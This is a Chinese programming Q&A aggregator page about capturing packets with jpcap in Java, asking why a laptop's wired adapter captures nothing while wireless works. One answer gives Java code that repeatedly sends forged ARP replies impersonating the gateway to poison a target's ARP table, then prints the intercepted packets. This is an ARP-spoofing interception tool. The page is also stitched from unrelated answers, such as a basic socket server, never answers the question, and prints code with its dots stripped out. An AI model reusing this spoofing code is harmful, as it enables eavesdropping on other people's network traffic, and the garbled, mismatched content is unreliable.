统计TCP流量,jpcap抓包时,通过loopPacket()方法,笔记本的有限网卡抓不包,而无线网可以,这是为什么

统计TCP流量,jpcap抓包时,通过loopPacket()方法,笔记本的有限网卡抓不包,而无线网可以,这是为什么,第1张

( 1) 捕获原始数据报, 包括共享网络上各主机发送/ 接收的以及相互之间交换的数据报;

( 2) 在数据报发往应用程序之前, 按照自定义的规则将某些特殊的数据报过滤掉;

( 3) 在网络上发送原始的数据报;

( 4) 收集网络通信过程中的统计信息。

用JAVA抓包何不用JPCAP呢

JPCAP:>

public class LocalListener {

private final static String GATE_IP = "192168111";

private final static byte[] GATE_MAC = {0x00, 0, (byte) 0xc5, 0x42, 0x6e, (byte) 0x9a};

private JpcapCaptor jpcap; //与设备的连接

private JpcapSender sender; //用于发送的实例

private Packet replyPacket; //ARP reply包

private NetworkInterface device; //当前机器网卡设备

private IpMacMap targetIpMacMap; //目的地IP MAC对

public LocalListener(IpMacMap target) throws Exception {

NetworkInterface[] devices = JpcapCaptorgetDeviceList(); device = devices[1];

thistargetIpMacMap = target;

initSender();

initPacket();

}

private void initSender() throws Exception {

jpcap = JpcapCaptoropenDevice(device, 2000, false, 10000); //打开与设备的连接

jpcapsetFilter("ip", true); //只监听ip数据包

sender = jpcapgetJpcapSenderInstance();

}

private void initPacket() throws Exception {

//reply包的源IP和MAC地址,此IP-MAC对将会被映射到ARP表

IpMacMap targetsSd = new IpMacMap(GATE_IP, devicemac_address);

//创建修改目标机器ARP的包

replyPacket = ARPPacketGerngenPacket(targetIpMacMap, targetsSd);

//创建以太网头信息,并打包进reply包

replyPacketdatalink = EthernetPacketGerngenPacket(targetIpMacMapgetMac(),

devicemac_address);

}

public void listen() throws InterruptedException{

Thread t = new Thread(new Runnable() {

public void run() {

//发送reply封包,修改目的地arp表, arp表会在一段时间内被更新,所以需要不停发送

while(true){

send();

try {

Threadsleep(500);

} catch (InterruptedException ex) {

LoggergetLogger(LocalListenerclassgetName())log(LevelSEVERE, null, ex);

}

}

}

});

tstart();

//截获当前网络设备的封包收发信息

while(true){

IPPacket ipPacket = (IPPacket)jpcapgetPacket();

Systemoutprintln(ipPacket);

}

}}

//IP-MAC实体,只用于保存一对IP-MAC地址

public class IpMacMap {

private String ip;

private byte[] mac;

public IpMacMap(){

}

public IpMacMap(String ip, byte[] mac){

thisip = ip;

thismac = mac;

}

public String getIp() {

return ip;

}

public void setIp(String ip) {

thisip = ip;

}

public byte[] getMac() {

return mac;

}

public void setMac(byte[] mac) {

thismac = mac;

}

}

//ARP reply包生成类,用于根据目的地址和源地址生成reply包

public class ARPPacketGern{

public static ARPPacket genPacket(IpMacMap target, IpMacMap sender) throws Exception{

ARPPacket arpTarget = new ARPPacket();

arpTargethardtype = ARPPacketHARDTYPE_ETHER; //选择以太网类型(Ethernet)

arpTargetprototype = ARPPacketPROTOTYPE_IP; //选择IP网络协议类型

arpTargetoperation = ARPPacketARP_REPLY; //选择REPLY类型

arpTargethlen = 6; //MAC地址长度固定6个字节

arpTargetplen = 4; //IP地址长度固定4个字节

arpTargettarget_hardaddr = targetgetMac();

arpTargettarget_protoaddr = InetAddressgetByName(targetgetIp())getAddress();

arpTargetsender_hardaddr = sendergetMac();

arpTargetsender_protoaddr = InetAddressgetByName(sendergetIp())getAddress();

return arpTarget;

}

}

//根据目的地MAC和源MAC构建以太网头信息,用于传输数据

public class EthernetPacketGern{

public static EthernetPacket genPacket(byte[] targetMac, byte[] senderMac) throws Exception {

EthernetPacket ethToTarget = new EthernetPacket(); //创建一个以太网头

ethToTargetframetype = EthernetPacketETHERTYPE_ARP; //选择以太包类型

ethToTargetdst_mac = targetMac;

ethToTargetsrc_mac = senderMac;

return ethToTarget;

}

}

public class Server {  

   

   public static void main(String args[]) throws IOException {  

      //为了简单起见,所有的异常信息都往外抛  

      int port = 8899;  

      //定义一个ServerSocket监听在端口8899上  

      ServerSocket server = new ServerSocket(port);  

      //server尝试接收其他Socket的连接请求,server的accept方法是阻塞式的  

      Socket socket = serveraccept();  

      //跟客户端建立好连接之后,我们就可以获取socket的InputStream,并从中读取客户端发过来的信息了。  

      Reader reader = new InputStreamReader(socketgetInputStream());  

      char chars[] = new char[64];  

      int len;  

      StringBuilder sb = new StringBuilder();  

      while ((len=readerread(chars)) != -1) {  

         sbappend(new String(chars, 0, len));  

      }  

      Systemoutprintln("from client: " + sb);  

      readerclose();  

      socketclose();  

      serverclose();  

   }  

     

}

服务端从Socket的InputStream中读取数据的 *** 作也是阻塞式的,如果从输入流中没有读取到数据程序会一直在那里不动,直到客户端往Socket的输出流中写入了数据,或关闭了Socket的输出流。当然,对于客户端的Socket也是同样如此。在 *** 作完以后,整个程序结束前记得关闭对应的资源,即关闭对应的IO流和Socket。

java好像没有这么底层的功能。

这么底层的功能应该是winpcap一类的驱动程序提供的。

截取网络数据包应该是稍微低级一点语言的事情,像是c++、c语言一类的,这类语言更适合编写协议分析器。而且winpcap直接就已经提供了一个h的头文件用来编写这类程序。

不过我记得有一个叫jpcap的东东,就是java使用的网络数据包工具,>

当然可以,可以采用jni的方式,调用 *** 作系统函数对网络IO进行监控。hyperic-sigar这个开源的项目提供对多种平台的兼容。它的原理也是采用jni的方式,调用不同平台的系统指令,对系统的各项数据进行采集:磁盘IO、网络IO、CPU、内存等,数据采集到了,使用java swing将数据展现出来就行了。

以上就是关于统计TCP流量,jpcap抓包时,通过loopPacket()方法,笔记本的有限网卡抓不包,而无线网可以,这是为什么全部的内容,包括:统计TCP流量,jpcap抓包时,通过loopPacket()方法,笔记本的有限网卡抓不包,而无线网可以,这是为什么、求一个用java编写的能读取 .cap文件的类、JAVA程序获取封包IP,求帮忙写个程序分析封包IP。等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!

欢迎分享,转载请注明来源:内存溢出

原文地址:https://www.54852.com/web/9489148.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2023-04-28
下一篇2023-04-28

发表评论

登录后才能评论

评论列表(0条)

    保存